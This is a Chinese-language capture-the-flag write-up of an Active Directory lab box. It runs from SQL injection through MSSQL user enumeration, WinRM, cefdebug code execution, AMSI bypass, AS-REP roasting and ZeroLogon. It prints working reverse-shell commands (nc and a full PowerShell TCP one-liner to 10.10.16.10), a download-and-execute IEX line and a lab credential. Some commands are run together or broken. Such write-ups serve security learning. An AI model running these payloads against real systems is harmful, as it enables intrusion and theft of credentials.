信息收集
端口扫描
首先使用nmap去探测存活的端口,发现该主机为一个域主机。
网络共享
接着查看其网络共享,未发现其存在网络共享。
访问80端口,发现一个web网页。
接着发现一个登陆框。
发现其页面里面存在延时。
目录爆破
使用工具对该网站进行爆破目录。
未发现有用的东西。
然后使用burp抓包进行测试。
漏洞利用
SQL注入
尝试过{"name":{"$ne":"0xdf"}},返回一个空数组。
添加Content-Type. 调用了charset=utf-8. 我查了一下字符',它的 ASCII 十六进制值为 0x27。
发送\u27,返回错误:
Dump用户
使用sqlmap来跑数据
sqlmap -r sqlmap.txt --tamper=charunicodeescape --delay 5 --level 5 --risk 3 --batch--proxy http://127.0.0.1:8080 --dump-all--exclude-sysdbs
成功跑出数据库
sqlmap -r colleagues.request --tamper=charunicodeescape --delay 5 --level 5 --risk 3 --batch--proxy http://127.0.0.1:8080 --dump-all--exclude-sysdbs
破解哈希值
使用hashcat来爆破hash
测试可用用户
使用crackmapexec来检测可用用户
转储域用户
尝试使用MSSQL 转储域用户
获取默认域
第一步是获取带有SELECT DEFAULT_DOMAIN(). 用该查询替换所有静态CHAR以获得:
获取域 RID
使用SUSER_SID已知组上的函数来获取域 RID
构建用户 RID
默认管理员是 RID 500。将其填充到 4 字节 (0x000001f4) 并反转字节顺序 (0xf4010000) 来创建此 RID。管理员 RID 是0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000
脚本爆破
使用脚本爆破
测试域用户密码
使用crackmapexec来检查域用户的可用性。
成功获得MEGACORP\tushikikatomo:finance1用户
WinRM获取shell
使用WinRM 获取shell
并获取user.txt
Priv: tushikikatomo –> cyork
枚举
目录枚举,查找可用文件。
CEF调试
\cefdebug.exe--code"process.version"--url ws://127.0.0.1:63254/3788348a-7950-47f9-a91d-14ee16ffc052
.\cefdebug --code"process.mainModule.require('child_process').exec('whoami > C:\windows\system32\spool\drivers\color\x')" ws://127.0.0.1:63254/3788348a-7950-47f9-a91d-14ee16ffc052a-b0
1a-629102094b
使用cefdebug.exe来进行调试。
.\cefdebug --code "process.mainModule.require('child_process').exec('C:\\programdata\\nc.exe 10.10.16.10 443 -e cmd')"--urlws://127.0.0.1:60404/830$client = New-Object
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.10',5555);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PSReverseShell# ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();
.\cefdebug.exe --url ws://127.0.0.1:38802/8dcd4ac7-49f5-4652-9c95-3f0d7766ffc7 --code "process.mainModule.require('child_process').exec('powershell IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.16.10/shell.ps1\')')"
接着上传nc
反弹shell
Priv: cyork –> sbauer
发现一个自定义的 dll 文件,在\inetpub\wwwroot\bin\目录下
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.174.1:1234/evil.txt','evil.exe')
使用 DNSpy逆向之后,获取登录用户名和密码。
接着进行测试用户
WinRM
继续使用winrm获取shell
Priv: sbauer –> jordan
Bloodhound利用
上传SharpHound.exe
Bloodhound 分析
将其加载到 Bloodhound 中,显示我拥有的三个帐户并将它们标记为此类(右键单击并选择“标记为拥有”)。运行查询“到高价值目标的最短路径
Bypass-AMSI
使用Evil-WinRM来进行Bypass AMSI
获取 AS-REP 哈希值
发现NORMAL_ACCOUNT和DONT_EXPIRE_PASSWORD标志:
将它下载到本地,然后进行解密。
WinRM获取shell
权限提升
用户枚举
jorden 属于服务器操作员组:
ZeroLogon获取域控权限
发现域内存在CVE-2020-1472
使用脚本进行尝试,成功获取域管hash
获取root.txt
成功获取root.txt
-
-
-
-
-
-